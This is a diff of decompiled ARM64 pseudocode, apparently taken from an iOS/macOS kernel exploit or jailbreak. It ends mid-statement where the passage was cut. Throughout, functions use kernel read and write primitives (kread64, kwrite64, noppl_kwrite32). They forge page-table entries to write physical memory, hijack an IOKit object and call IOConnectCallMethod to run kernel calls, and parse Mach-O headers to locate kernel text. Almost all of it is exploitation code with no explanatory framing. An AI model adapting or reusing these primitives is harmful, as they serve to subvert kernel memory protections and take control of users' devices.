+ __int64 v16; // [xsp+28h] [xbp-38h] + + size = 0x4000; + v6 = sub_37210(a1, &size); + if ( !v6 ) + return 0xAD009LL; + v7 = v6; + sub_2183C(a1, v6 & ~*(_QWORD *)(a1 + 0x188), (__int64)&size_4); + v8 = v16 & 0xFFFFFFFFC000LL; + if ( v9 ) + v10 = v8 == 0; + else + v10 = 1; + if ( v10 ) + { + v11 = 0x2800FLL; +LABEL_11: + sub_36E4C(a1, v7, size); + return v11; + } + v12 = sub_19128(a1, a2, v16 & 0xFFFFFFFFC000LL); + v11 = v12; + if ( (_DWORD)v12 ) + goto LABEL_11; + v11 = physwrite_maybe(a1, v8, a3); + if ( (_DWORD)v11 ) + goto LABEL_11; + return v11; +} +// 190A0: variable 'v9' is possibly undefined +// 38870: using guessed type __int64 __fastcall sub_38870(_QWORD, _QWORD, _QWORD); + +//----- (0000000000019128) ---------------------------------------------------- +__int64 __fastcall sub_19128(__int64 a1, unsigned __int64 a2, __int64 a3) +{ + _QWORD *v3; // x25 + __int64 v4; // x8 + unsigned __int64 v5; // x27 + _BOOL4 v6; // w24 + _BOOL4 v7; // w26 + unsigned __int64 v8; // x9 + __int64 v13; // x19 + int v14; // w26 + unsigned __int64 v15; // x0 + __int64 v17; // x24 + __int64 v18; // x0 + unsigned __int64 v19; // x23 + int v20; // w0 + _DWORD size[3]; // [xsp+4h] [xbp-8Ch] BYREF + __int64 v22; // [xsp+10h] [xbp-80h] BYREF + _QWORD v23[4]; // [xsp+18h] [xbp-78h] BYREF + __int64 v24; // [xsp+38h] [xbp-58h] + + v3 = *(_QWORD **)(a1 + 0x1D58); + v4 = v3[0x60]; + size[0] = 0x4000; + v5 = a2 + 0x8000000000LL; + v6 = a2 + 0x8000000000LL >= 0x1FFC001; + v7 = a2 + 0xFFE000000LL < 0x1FFC001; + v8 = v3[0x62]; + if ( v8 <= a2 && v8 + 0x2000000 > a2 ) + return 0xFFFFFFFFLL; + v13 = 0x2800FLL; + if ( (unsigned int)kreadbuf_last_1(a1, v4 + ((a2 >> 0x21) & 0x38), 8LL, (__int64)&v22) ) + { + v14 = v6 && v7; + if ( v5 >= 0x1FFC001 ) + { + if ( v14 ) + { + v15 = v3[0x61]; + if ( !v15 ) + return v13; + } + else + { + v15 = sub_18B14(); + if ( !v15 ) + return v13; + } + } + else + { + v15 = v3[0x9F]; + if ( !v15 ) + return v13; + } + v17 = v15 + ((a2 >> 0x16) & 0x3FF8); + if ( !(unsigned int)kreadbuf_last_1(a1, v17, 8LL, (__int64)&size[1]) ) + return v13; + if ( (size[1] & 1) == 0 ) + { + v18 = sub_3796C(a1, size); + if ( !v18 ) + return 0xAD009LL; + v19 = v18; + sub_2183C(a1, v18 & ~*(_QWORD *)(a1 + 0x188), (__int64)v23); + if ( v20 && (v24 & 0xFFFFFFFFC000LL) != 0 ) + { + *(_QWORD *)&size[1] = v24 & 0xFFFFFFFFC000LL | 0x460000000000603LL; + if ( (unsigned int)kwritebuf_last_1(a1, v17, (__int64)&size[1], 8LL) ) + { + if ( v14 ) + v3[0xA1] = v19; +LABEL_29: + v23[0] = a3 | 0x60000000000443LL; + if ( (unsigned int)kwritebuf_last_1(a1, v19 + ((a2 >> 0xB) & 0x3FF8), (__int64)v23, 8LL) ) + return 0LL; + else + return 0x28010LL; + } + v13 = 0x28010LL; + } + sub_36E4C(a1, v19, size[0]); + return v13; + } + if ( v5 >= 0x1FFC001 ) + { + if ( v14 ) + { + v19 = v3[0xA1]; + } + else + { + v19 = sub_18B14(); + if ( !v19 ) + return v13; + } + } + else + { + v19 = v3[0xA0]; + } + goto LABEL_29; + } + return v13; +} +// 19284: variable 'v20' is possibly undefined + +//----- (0000000000019354) ---------------------------------------------------- +__int64 __fastcall sub_19354(__int64 result, __int64 a2, int a3) +{ + _QWORD *v3; // x8 + __int64 v4; // x10 + __int64 v5; // x9 + _QWORD *v6; // x8 + + v3 = *(_QWORD **)(result + 0x1D58); + v4 = v3[0x4B]; + v5 = v3[0x4C]; + v6 = (_QWORD *)v3[0x55]; + *(_QWORD *)v4 = v5 + 0x200; + *(_DWORD *)(v4 + 0x200) = 9; + *(_DWORD *)(v4 + 0xC) = 0xA; + *(_DWORD *)(v4 + 0x20) = 1; + *(_DWORD *)(v4 + 0x28) = 1; + *(_QWORD *)(v4 + 0x2C) = v5 + 0x300; + *(_DWORD *)(v4 + 0x4C) = 0; + *(_DWORD *)(v4 + 0x70) = 0; + *(_QWORD *)(v4 + 0x300) = a2; + *(_DWORD *)(v4 + 0x310) = a3; + *(_QWORD *)(v4 + 0x400) = v5; + *(_QWORD *)(v4 + 0x498) = v5; + *(_QWORD *)(v4 + 0x4A0) = v5; + while ( *v6 ) + ; + *v6 = v5 + 0x400; + return result; +} + +//----- (00000000000193C0) ---------------------------------------------------- +__int64 __fastcall sub_193C0(__int64 a1, __int64 a2, int a3) +{ + __int64 v6; // x24 + __int64 v7; // x0 + __int64 v8; // x23 + __int64 v9; // x19 + int v10; // w8 + __int64 v11; // x9 + unsigned int v12; // w21 + kern_return_t v13; // w0 + _BYTE v15[8]; // [xsp+18h] [xbp-D8h] BYREF + __int64 v16; // [xsp+20h] [xbp-D0h] BYREF + unsigned int v17; // [xsp+2Ch] [xbp-C4h] BYREF + int v18; // [xsp+30h] [xbp-C0h] BYREF + int v19; // [xsp+34h] [xbp-BCh] BYREF + __int16 v20[2]; // [xsp+38h] [xbp-B8h] BYREF + unsigned int v21; // [xsp+3Ch] [xbp-B4h] BYREF + __int64 v22; // [xsp+40h] [xbp-B0h] BYREF + __int64 v23; // [xsp+48h] [xbp-A8h] BYREF + __int64 inputStruct; // [xsp+50h] [xbp-A0h] BYREF + __int128 v25; // [xsp+58h] [xbp-98h] + __int128 v26; // [xsp+68h] [xbp-88h] + __int128 v27; // [xsp+78h] [xbp-78h] + uint64_t input; // [xsp+88h] [xbp-68h] BYREF + __int128 v29; // [xsp+90h] [xbp-60h] + __int64 v30; // [xsp+A0h] [xbp-50h] + + v23 = a2; + v6 = *(_QWORD *)(a1 + 0x1D58); + v21 = 0x4000; + v7 = sub_37210(a1, &v21); + if ( !v7 ) + return 0xAD009LL; + v8 = v7; + v9 = 0x28010LL; + v20[0] = 0x100; + if ( (unsigned int)kwritebuf_last_1(a1, v7, (__int64)v20, 2LL) ) + { + if ( !(unsigned int)kread64(a1, *(_QWORD *)(v6 + 0xE8) + *(unsigned int *)(v6 + 0xB8), &v22) + || !(unsigned int)kreadbuf_last_1(a1, *(_QWORD *)(v6 + 0xF0) + *(unsigned int *)(v6 + 0xB4), 4LL, (__int64)&v19) + || !(unsigned int)kreadbuf_last_1(a1, *(_QWORD *)(v6 + 0xF0) + *(unsigned int *)(v6 + 0xC4), 4LL, (__int64)&v18) + || !(unsigned int)kreadbuf_last_1(a1, *(_QWORD *)(v6 + 0xF0) + *(unsigned int *)(v6 + 0xC0), 4LL, (__int64)&v17) + || !(unsigned int)kread64(a1, *(_QWORD *)(v6 + 0xF0) + *(unsigned int *)(v6 + 0xBC), &v16) ) + { + return 0x2800FLL; + } + if ( !v16 ) + return 0xFFFFFFFFLL; + if ( (unsigned int)kreadbuf_last_1(a1, v16 + *(unsigned int *)(v6 + 0xAC), 8LL, (__int64)v15) ) + { + if ( *(_QWORD *)(a1 + 0x158) <= 0x2711FFFFFFFFFFuLL ) + v10 = 0x10003; + else + v10 = 0x10002; + v11 = *(_QWORD *)(v6 + 0x98); + *(_DWORD *)v11 = v10; + *(_DWORD *)(v11 + 4) = 0x10; + *(_WORD *)(v11 + 8) = 0; + *(_OWORD *)(*(_QWORD *)(v6 + 0xA0) + 8LL) = xmmword_43200; + input = *(unsigned int *)(v6 + 0xC); + v29 = xmmword_43750; + v30 = 0x38LL; + v26 = 0u; + v27 = 0u; + v25 = 0u; + inputStruct = *(_QWORD *)(v6 + 0x1C); + v23 = a2 - v17; + if ( (unsigned int)kwrite64(a1, *(_QWORD *)(v6 + 0xE8) + *(unsigned int *)(v6 + 0xB8), v8) ) + { + if ( noppl_kwrite32(a1, *(_QWORD *)(v6 + 0xF0) + *(unsigned int *)(v6 + 0xB4), 1) ) + { + if ( noppl_kwrite32(a1, *(_QWORD *)(v6 + 0xF0) + *(unsigned int *)(v6 + 0xC4), a3 - 0x100) ) + { + v12 = 0x28010; + if ( (unsigned int)kwritebuf_last_1(a1, v16 + *(unsigned int *)(v6 + 0xAC), (__int64)&v23, 8LL) ) + { + v13 = IOConnectCallMethod( + *(_DWORD *)(v6 + 8), + 0x1Au, + &input, + 4u, + &inputStruct, + 0x38uLL, + 0LL, + 0LL, + 0LL, + 0LL); + v12 = v13 ? v13 | 0x80000000 : 0; + if ( !(unsigned int)kwritebuf_last_1(a1, v16 + *(unsigned int *)(v6 + 0xAC), (__int64)v15, 8LL) ) + v12 = 0x28010; + } + if ( !noppl_kwrite32(a1, *(_QWORD *)(v6 + 0xF0) + *(unsigned int *)(v6 + 0xC4), v18) ) + v12 = 0x28010; + } + else + { + v12 = 0x28010; + } + if ( !noppl_kwrite32(a1, *(_QWORD *)(v6 + 0xF0) + *(unsigned int *)(v6 + 0xB4), v19) ) + v12 = 0x28010; + } + else + { + v12 = 0x28010; + } + if ( (unsigned int)kwrite64(a1, *(_QWORD *)(v6 + 0xE8) + *(unsigned int *)(v6 + 0xB8), v22) ) + return v12; + else + return 0x28010LL; + } + } + else + { + return 0x2800FLL; + } + } + return v9; +} +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); +// 2A0D0: using guessed type __int64 __fastcall kwrite64(_QWORD, _QWORD, _QWORD); +// 43200: using guessed type __int128 xmmword_43200; +// 43750: using guessed type __int128 xmmword_43750; + +//----- (000000000001972C) ---------------------------------------------------- +__int64 __fastcall validate_addr(__int64 a1, __int64 a2) +{ + if ( (a2 & 7) != 0 || (unsigned __int64)(a2 + 0x1000000000000LL) >= 0xFFFFFFFFEFFFLL ) + return 0LL; + else + return a2; +} + +//----- (000000000001974C) ---------------------------------------------------- +unsigned __int64 __fastcall validate_addr_maybe2(__int64 a1, unsigned __int64 a2) +{ + __int64 v2; // x8 + _QWORD *i; // x9 + unsigned __int64 v4; // x10 + bool v5; // zf + bool v6; // cc + + if ( a2 + 0x1000000000000LL >= 0xFFFFFFFFEFFFLL ) + { + v2 = *(unsigned int *)(a1 + 0x18A0); + if ( (_DWORD)v2 ) + { + for ( i = (_QWORD *)(a1 + 0x1A18); ; i += 3 ) + { + v4 = i[0xFFFFFFFF]; + v5 = !v4 || *i == 0LL; + v6 = v5 || v4 > a2; + if ( !v6 && *i + v4 > a2 ) + break; + if ( !--v2 ) + return 0LL; + } + } + else + { + return 0LL; + } + } + return a2; +} + +//----- (00000000000197A8) ---------------------------------------------------- +unsigned __int64 __fastcall sub_197A8(__int64 **a1) +{ + __int64 *v1; // x8 + __int64 *v2; // x9 + __int64 v3; // x12 + __int64 v4; // x10 + __int64 v5; // x10 + __int64 v6; // x11 + _QWORD *i; // x12 + unsigned __int64 v8; // x8 + unsigned __int64 v9; // x10 + + v2 = *a1; + v1 = a1[1]; + v3 = **a1; + v4 = v3 + 0x38LL * *((unsigned int *)*a1 + 0x32); + if ( (unsigned __int64)v1 - *(_QWORD *)(v4 + 0x20) >= *(_QWORD *)(v4 + 0x28) ) + { + v5 = *((unsigned int *)v2 + 2); + if ( !(_DWORD)v5 ) + return 0LL; + v6 = 0LL; + for ( i = (_QWORD *)(v3 + 0x28); (unsigned __int64)v1 - i[0xFFFFFFFF] >= *i; i += 7 ) + { + if ( v5 == ++v6 ) + return 0LL; + } + *((_DWORD *)v2 + 0x32) = v6; + } + if ( *((_BYTE *)v2 + 0x101) ) + v2 = (__int64 *)v2[0x15]; + v8 = (unsigned __int64)v1 - v2[0x1E]; + v9 = v2[0x16]; + if ( v9 > v8 || (unsigned __int64)a1[2] > v9 + v2[0x17] - v8 ) + return 0LL; + return v8; +} + +//----- (000000000001984C) ---------------------------------------------------- +__int64 sub_1984C() +{ + return 8LL; +} + +//----- (0000000000019854) ---------------------------------------------------- +__int64 __fastcall sub_19854(__int64 a1) +{ + __int64 result; // x0 + _BYTE *v3; // x9 + vm_size_t v4; // x2 + vm_address_t address; // [xsp+8h] [xbp-18h] BYREF + + if ( *(_BYTE *)(a1 + 0x101) ) + return 0LL; + v3 = *(_BYTE **)(a1 + 0x108); + if ( !v3 ) + return 4LL; + if ( !*(_QWORD *)(a1 + 0xB0) ) + return 4LL; + v4 = *(_QWORD *)(a1 + 0xB8); + if ( !v4 ) + return 4LL; + if ( (*v3 & 2) == 0 ) + return 0LL; + address = *(_QWORD *)(a1 + 0xB0); + result = vm_allocate(mach_task_self_, &address, v4, 0x4000); + if ( !(_DWORD)result ) + { + bzero( + *(void **)(a1 + 0x108), + ((*(int *)(a1 + 0x38) + *(_QWORD *)(a1 + 0xE8) - 1LL) & (unsigned __int64)-*(_DWORD *)(a1 + 0x38)) + / *(int *)(a1 + 0x38)); + return 0LL; + } + return result; +} + +//----- (00000000000198FC) ---------------------------------------------------- +__int64 __fastcall sub_198FC(__int64 a1, unsigned __int64 a2, unsigned __int64 a3, unsigned __int64 a4, char a5) +{ + __int64 v9; // x23 + unsigned __int64 v10; // x24 + __int64 result; // x0 + __int64 v12; // x10 + __int64 v13; // x9 + unsigned __int64 v14; // x10 + unsigned __int64 v15; // x19 + unsigned __int64 v16; // x26 + unsigned __int64 v17; // x25 + + v9 = a1; + if ( *(_BYTE *)(a1 + 0x101) ) + v9 = *(_QWORD *)(a1 + 0xA8); + v10 = *(_QWORD *)(v9 + 0xB0); + if ( v10 > a2 || a2 + a3 > *(_QWORD *)(v9 + 0xB8) + v10 ) + return 3LL; + result = 0LL; + v12 = *(int *)(v9 + 0x38); + v13 = v12 + a2 + a3; + v14 = -(int)v12; + v15 = v14 & a2; + v16 = --v13 & v14; + if ( (v13 & v14) > (v14 & a2) ) + { + v17 = *(int *)(a1 + 0x38); + while ( (*(_BYTE *)(*(_QWORD *)(v9 + 0x108) + (v15 - v10) / v17) & 1) != 0 && (a5 & 1) == 0 ) + { + v15 += v17; + if ( v16 <= v15 ) + return 0LL; + } + if ( sub_25DE8(*(_QWORD *)(v9 + 0x118)) + && sub_25734(*(_QWORD *)(v9 + 0x118)) + && (unsigned int)sub_25DB0(*(_QWORD *)(v9 + 0x118)) > *(_DWORD *)(v9 + 0x38) + && v16 - v15 < (unsigned int)sub_25DB0(*(_QWORD *)(v9 + 0x118)) + && a4 > a3 ) + { + v16 = (*(int *)(v9 + 0x38) + a2 + a4 - 1) & -*(_DWORD *)(v9 + 0x38); + if ( v16 > v15 + (unsigned int)sub_25DB0(*(_QWORD *)(v9 + 0x118)) ) + v16 = v15 + (unsigned int)sub_25DB0(*(_QWORD *)(v9 + 0x118)); + } + if ( (unsigned int)kreadbuf_last_1(*(_QWORD *)(v9 + 0x118), *(_QWORD *)(v9 + 0xE0) - v10 + v15, v16 - v15, v15) ) + { + for ( ; v15 < v16; v15 += v17 ) + *(_BYTE *)(*(_QWORD *)(v9 + 0x108) + (v15 - v10) / v17) |= 1u; + result = 0LL; + **(_BYTE **)(v9 + 0x108) |= 2u; + } + else + { + return 5LL; + } + } + return result; +} + +//----- (0000000000019AC4) ---------------------------------------------------- +__int64 __fastcall sub_19AC4(__int64 a1, unsigned __int64 a2, unsigned __int64 a3, unsigned __int64 a4) +{ + return sub_198FC(a1, a2, a3, a4, 0); +} + +//----- (0000000000019ACC) ---------------------------------------------------- +unsigned __int64 __fastcall sub_19ACC(__int64 *a1, __int64 *a2) +{ + unsigned __int64 result; // x0 + unsigned int *v4; // x20 + __int64 *v5[3]; // [xsp+8h] [xbp-28h] BYREF + + v5[0] = a1; + v5[1] = a2; + v5[2] = (_QWORD *)&dword_4; + result = sub_197A8(v5); + if ( result ) + { + v4 = (unsigned int *)result; + sub_198FC((__int64)a1, result, 4uLL, 0LL, 0); + return *v4; + } + return result; +} +// 4: using guessed type int dword_4; + +//----- (0000000000019B30) ---------------------------------------------------- +unsigned __int64 __fastcall sub_19B30(__int64 *a1, __int64 *a2) +{ + unsigned __int64 result; // x0 + unsigned __int64 v4; // x20 + __int64 *v5[3]; // [xsp+8h] [xbp-28h] BYREF + + v5[0] = a1; + v5[1] = a2; + v5[2] = (_QWORD *)&dword_8; + result = sub_197A8(v5); + if ( result ) + { + v4 = result; + sub_198FC((__int64)a1, result, 8uLL, 0LL, 0); + return *(_QWORD *)v4; + } + return result; +} +// 8: using guessed type int dword_8; + +//----- (0000000000019B98) ---------------------------------------------------- +__n128 __usercall sub_19B98@(char *__s2@, __int64 a2@, _QWORD *a3@) +{ + __int64 v4; // x8 + unsigned __int64 v5; // x22 + __int64 v6; // x8 + unsigned __int64 v7; // x23 + __n128 result; // q0 + + v4 = **(_QWORD **)(a2 + 0xD0); + v5 = v4 + 0x20; + v6 = *(unsigned int *)(v4 + 0x14); + v7 = v5 + v6; + if ( v5 >= v5 + v6 ) + { +LABEL_5: + *a3 = 0LL; + a3[1] = 0LL; + a3[2] = 0LL; + } + else + { + while ( *(_DWORD *)v5 != 0x19 || strncmp((const char *)(v5 + 8), __s2, 0x10uLL) ) + { + v5 += *(unsigned int *)(v5 + 4); + if ( v5 >= v7 ) + goto LABEL_5; + } + *a3 = a2; + result = *(__n128 *)(v5 + 0x18); + *(__n128 *)(a3 + 1) = result; + } + return result; +} + +//----- (0000000000019C34) ---------------------------------------------------- +__n128 __usercall sub_19C34@(char *__s2@, __int64 a2@, const char *a3@, _QWORD *a4@) +{ + __int64 v5; // x8 + unsigned __int64 v6; // x24 + __int64 v7; // x8 + unsigned __int64 v8; // x25 + __n128 result; // q0 + __int64 v13; // x26 + __n128 *v14; // x23 + + v5 = **(_QWORD **)(a2 + 0xD0); + v6 = v5 + 0x20; + v7 = *(unsigned int *)(v5 + 0x14); + v8 = v6 + v7; + if ( v6 >= v6 + v7 ) + { +LABEL_11: + *a4 = 0LL; + a4[1] = 0LL; + a4[2] = 0LL; + } + else + { + while ( 1 ) + { + if ( *(_DWORD *)v6 == 0x19 && !strncmp((const char *)(v6 + 8), __s2, 0x10uLL) ) + { + v13 = *(unsigned int *)(v6 + 0x40); + if ( (_DWORD)v13 ) + break; + } +LABEL_4: + v6 += *(unsigned int *)(v6 + 4); + if ( v6 >= v8 ) + goto LABEL_11; + } + v14 = (__n128 *)(v6 + 0x48); + while ( strncmp((const char *)v14, a3, 0x10uLL) ) + { + v14 += 5; + if ( !--v13 ) + goto LABEL_4; + } + *a4 = a2; + result = v14[2]; + *(__n128 *)(a4 + 1) = result; + } + return result; +} + +//----- (0000000000019D10) ---------------------------------------------------- +double __usercall sub_19D10@(__int64 a1@, _QWORD *a2@) +{ + double result; // d0 + + *(_QWORD *)&result = sub_19C34((char *)*(_QWORD *)(a1 + 0x110), a1, "__text", a2).n128_u64[0]; + return result; +} + +//----- (0000000000019D20) ---------------------------------------------------- +__int64 __fastcall sub_19D20(__int64 a1, char *__s2, unsigned __int64 a3) +{ + __int64 v3; // x8 + unsigned __int64 v4; // x21 + __int64 v5; // x8 + unsigned __int64 i; // x22 + __int64 v9; // x8 + unsigned int v10; // w24 + const char *v12; // x0 + unsigned __int64 v13; // x8 + size_t v14; // x2 + + v3 = **(_QWORD **)(a1 + 0xD0); + v4 = v3 + 0x20; + v5 = *(unsigned int *)(v3 + 0x14); + for ( i = v4 + v5; v4 < i; v4 += v10 ) + { + if ( *(_DWORD *)v4 == 0x80000035 ) + { + v9 = *(unsigned int *)(v4 + 0x18); + v10 = *(_DWORD *)(v4 + 4); + if ( (unsigned int)v9 >= 0x20 && v10 > (unsigned int)v9 ) + { + v12 = (const char *)(v4 + v9); + v13 = v10 - (unsigned int)v9; + v14 = v13 <= a3 ? v13 : a3; + if ( !strncmp(v12, __s2, v14) ) + return *(_QWORD *)(v4 + 8); + } + } + else + { + v10 = *(_DWORD *)(v4 + 4); + } + } + return 0LL; +} + +//----- (0000000000019DD4) ---------------------------------------------------- +double __fastcall sub_19DD4(__int64 a1, __int64 a2) +{ + double result; // d0 + + result = 0.0; + *(_OWORD *)(a1 + 0x100) = 0u; + *(_OWORD *)(a1 + 0x110) = 0u; + *(_OWORD *)(a1 + 0xE0) = 0u; + *(_OWORD *)(a1 + 0xF0) = 0u; + *(_OWORD *)(a1 + 0xC0) = 0u; + *(_OWORD *)(a1 + 0xD0) = 0u; + *(_OWORD *)(a1 + 0xA0) = 0u; + *(_OWORD *)(a1 + 0xB0) = 0u; + *(_OWORD *)(a1 + 0x80) = 0u; + *(_OWORD *)(a1 + 0x90) = 0u; + *(_OWORD *)(a1 + 0x60) = 0u; + *(_OWORD *)(a1 + 0x70) = 0u; + *(_OWORD *)(a1 + 0x40) = 0u; + *(_OWORD *)(a1 + 0x50) = 0u; + *(_OWORD *)(a1 + 0x20) = 0u; + *(_OWORD *)(a1 + 0x30) = 0u; + *(_OWORD *)a1 = 0u; + *(_OWORD *)(a1 + 0x10) = 0u; + *(_QWORD *)(a1 + 0x118) = a2; + *(_QWORD *)(a1 + 0x120) = 0LL; + return result; +} + +//----- (0000000000019E04) ---------------------------------------------------- +__int64 __fastcall sub_19E04(__int64 a1) +{ + vm_address_t v1; // x1 + _QWORD *v2; // x19 + vm_size_t v3; // x2 + + v2 = (_QWORD *)(a1 + 0xB0); + v1 = *(_QWORD *)(a1 + 0xB0); + if ( !v1 ) + return 0LL; + v3 = *(_QWORD *)(a1 + 0xB8); + if ( !v3 || vm_deallocate(mach_task_self_, v1, v3) ) + return 0LL; + *v2 = 0LL; + v2[1] = 0LL; + return 1LL; +} + +//----- (0000000000019E58) ---------------------------------------------------- +bool __fastcall sub_19E58(__int64 a1) +{ + kern_return_t v2; // w8 + _BOOL8 result; // x0 + vm_address_t v4; // x1 + vm_size_t v5; // x2 + vm_address_t v6; // x8 + __int64 v7; // x9 + __int64 v8; // x10 + void *v9; // x0 + vm_address_t address; // [xsp+18h] [xbp-18h] BYREF + + address = 0LL; + v2 = vm_map(mach_task_self_, &address, *(_QWORD *)(a1 + 0xE8), *(int *)(a1 + 0x38) - 1LL, 1, 0, 0LL, 0, 3, 3, 1u); + result = 0LL; + if ( !v2 ) + { + v4 = *(_QWORD *)(a1 + 0xB0); + if ( v4 ) + { + v5 = *(_QWORD *)(a1 + 0xB8); + if ( v5 ) + vm_deallocate(mach_task_self_, v4, v5); + } + v6 = address; + v8 = *(_QWORD *)(a1 + 0xE0); + v7 = *(_QWORD *)(a1 + 0xE8); + *(_QWORD *)(a1 + 0xB0) = address; + *(_QWORD *)(a1 + 0xB8) = v7; + *(_QWORD *)(a1 + 0xF0) = v8 - v6; + v9 = calloc( + ((*(int *)(a1 + 0x38) + v7 - 1) & (unsigned __int64)-*(_DWORD *)(a1 + 0x38)) / *(int *)(a1 + 0x38), + 1uLL); + *(_QWORD *)(a1 + 0x108) = v9; + return v9 != 0LL; + } + return result; +} + +//----- (0000000000019F2C) ---------------------------------------------------- +__int64 __fastcall sub_19F2C(__int64 a1, __int64 a2) +{ + __int64 result; // x0 + unsigned __int64 v5; // x21 + _DWORD *v6; // x22 + char v7; // w8 + __int64 v8; // x8 + char *v9; // x21 + char *v10; // x22 + __int64 v11; // x23 + char *v12; // x24 + __int64 v13; // x8 + _QWORD *v14; // x9 + _DWORD v15[8]; // [xsp+0h] [xbp-50h] BYREF + + result = (__int64)calloc(0x48uLL, 1uLL); + *(_QWORD *)(a1 + 0xD0) = result; + if ( result ) + { + result = kreadbuf_last_1(*(_QWORD *)(a1 + 0x118), a2, 0x20LL, (__int64)v15); + if ( (_DWORD)result ) + { + v5 = v15[5] + 0x20LL; + result = (__int64)calloc(v5, 1uLL); + if ( result ) + { + v6 = (_DWORD *)result; + result = kreadbuf_last_1(*(_QWORD *)(a1 + 0x118), a2, v5, result); + if ( (_DWORD)result ) + { + **(_QWORD **)(a1 + 0xD0) = v6; + if ( *v6 == 0xFEEDFACE ) + { + v7 = 4; + } + else + { + if ( *v6 != 0xFEEDFACF ) + return 0LL; + v7 = 8; + } + *(_BYTE *)(a1 + 0x34) = v7; + v8 = (unsigned int)v6[5]; + if ( v5 < (unsigned int)(v8 + 0x20) ) + return 0LL; + v9 = (char *)(v6 + 8); + v10 = (char *)v6 + v8 + 0x20; + if ( v9 >= v10 ) + { + return 1LL; + } + else + { + v11 = 0LL; + v12 = v9; + do + { + if ( *(_DWORD *)v12 == 0x19 && !strcmp(v12 + 8, "__TEXT") ) + v11 = a2 - *((_QWORD *)v12 + 3); + v12 += *((unsigned int *)v12 + 1); + } + while ( v12 < v10 ); + result = 1LL; + if ( v11 && v9 < v10 ) + { + result = 1LL; + do + { + if ( *(_DWORD *)v9 == 0x19 ) + { + v13 = *((unsigned int *)v9 + 0x10); + if ( (_DWORD)v13 ) + { + v14 = v9 + 0x68; + do + { + *v14 += v11; + v14 += 0xA; + --v13; + } + while ( v13 ); + } + *((_QWORD *)v9 + 3) += v11; + } + v9 += *((unsigned int *)v9 + 1); + } + while ( v9 < v10 ); + } + } + } + } + } + } + return result; +} + +//----- (000000000001A0D4) ---------------------------------------------------- +bool __fastcall sub_1A0D4(__int64 a1, int a2, __int64 a3, unsigned int a4) +{ + return (unsigned int)sub_1A0F4(a1, a2, a3, a4) != 0; +} + +//----- (000000000001A0F4) ---------------------------------------------------- +__int64 __fastcall sub_1A0F4(__int64 a1, int a2, __int64 a3, unsigned int a4) +{ + __int64 result; // x0 + __int64 v9; // x23 + int *v10; // x9 + __int64 v11; // x24 + unsigned __int64 v12; // x10 + unsigned __int64 v13; // x11 + unsigned int v16; // w8 + unsigned __int64 v17; // x14 + int v18; // w16 + unsigned int v19; // w15 + unsigned __int64 v20; // x25 + unsigned __int64 v21; // x24 + __int64 v22; // x22 + __int128 v23; // q0 + __int128 v24; // q0 + __int64 v25; // x8 + int8x16_t *v26; // x8 + int8x16_t *v27; // x27 + __int64 v28; // x8 + int8x16_t *v29; // x24 + unsigned __int64 v30; // x26 + int v31; // w22 + int v32; // w23 + unsigned __int64 v33; // x28 + __int64 v34; // x8 + unsigned __int64 v35; // x8 + unsigned __int64 v36; // x8 + __int64 v38; // x8 + int8x16_t v39; // q1 + unsigned __int64 v40; // x8 + unsigned __int64 v41; // x9 + bool v42; // cf + unsigned __int64 v43; // x9 + __int64 v44; // [xsp+0h] [xbp-70h] + _QWORD v45[3]; // [xsp+8h] [xbp-68h] BYREF + + result = sub_19F2C(a1, a3); + if ( !(_DWORD)result ) + return result; + *(_DWORD *)(a1 + 0xD8) = a2; + *(_BYTE *)(a1 + 0x100) = 1; + v9 = **(_QWORD **)(a1 + 0xD0); + v10 = (int *)(v9 + 0x20); + v11 = *(unsigned int *)(v9 + 0x14); + v12 = v9 + 0x20 + v11; + v13 = v12 - 8; + if ( v9 + 0x20 >= v12 || v9 + 0x28 > v12 || (unsigned __int64)v10 > v13 ) + return 0LL; + v16 = 0; + do + { + v17 = (unsigned int)v10[1]; + if ( (unsigned int)v17 < 8 || v12 - (unsigned __int64)v10 < v17 ) + break; + v18 = *v10; + v19 = 0x18; + if ( *v10 <= 0xA ) + { + switch ( v18 ) + { + case 0x8000001F: + goto LABEL_26; + case 0x80000022: +LABEL_24: + v19 = 0x30; + goto LABEL_26; + case 2: + goto LABEL_26; + } + } + else if ( v18 > 0x18 ) + { + if ( v18 == 0x22 ) + goto LABEL_24; + if ( v18 == 0x19 ) + { + ++v16; + v19 = 0x48; + goto LABEL_26; + } + } + else + { + if ( v18 == 0xB ) + { + v19 = 0x50; +LABEL_26: + if ( (unsigned int)v17 < v19 ) + break; + goto LABEL_27; + } + if ( v18 == 0xD ) + goto LABEL_26; + } +LABEL_27: + v10 = (int *)((char *)v10 + v17); + } + while ( (unsigned __int64)v10 < v12 && (unsigned __int64)(v10 + 2) <= v12 && (unsigned __int64)v10 <= v13 ); + if ( !v16 ) + return 0LL; + *(_DWORD *)(a1 + 8) = v16; + result = (__int64)malloc(0x38LL * v16); + *(_QWORD *)a1 = result; + if ( !result ) + return result; + *(_QWORD *)(a1 + 0x110) = "__TEXT"; + v20 = v9 + 0x20; + v21 = v9 + 0x20 + v11; + if ( v9 + 0x20 < v21 ) + { + v22 = result; + do + { + if ( *(_DWORD *)v20 == 0x19 ) + { + if ( *(unsigned int *)(v20 + 0x40) > ((unsigned __int64)*(unsigned int *)(v20 + 4) - 0x48) / 0x50 ) + return 0LL; + if ( !strcmp((const char *)(v20 + 8), "__TEXT_EXEC") ) + *(_QWORD *)(a1 + 0x110) = "__TEXT_EXEC"; + v23 = *(_OWORD *)(v20 + 0x28); + *(_QWORD *)v22 = a1; + *(_OWORD *)(v22 + 8) = v23; + v24 = *(_OWORD *)(v20 + 0x18); + *(_QWORD *)(v22 + 0x18) = a1; + *(_OWORD *)(v22 + 0x20) = v24; + *(_QWORD *)(v22 + 0x30) = v20; + v22 += 0x38LL; + } + v20 += *(unsigned int *)(v20 + 4); + } + while ( v20 < v21 ); + v9 = **(_QWORD **)(a1 + 0xD0); + } + *(int32x2_t *)(a1 + 0x28) = vrev64_s32(*(int32x2_t *)(v9 + 4)); + *(_DWORD *)(a1 + 0x30) = *(_DWORD *)(v9 + 0x18); + if ( (a4 & 0x100) != 0 ) + { + sub_19C34("__TEXT", a1, "__thread_starts", v45); + if ( v45[2] ) + *(_BYTE *)(a1 + 0x9C) = 1; + if ( (a4 & 0x400) != 0 ) + { + if ( *(_QWORD *)a1 ) + { + v25 = *(_QWORD *)(*(_QWORD *)a1 + 8LL); + if ( v25 ) + *(_QWORD *)(a1 + 0xA0) = a3 - v25; + } + } + } + if ( (a4 & 0x40) != 0 ) + return 1LL; + v26 = **(int8x16_t ***)(a1 + 0xD0); + v27 = v26 + 2; + v28 = v26[1].u32[1]; + v29 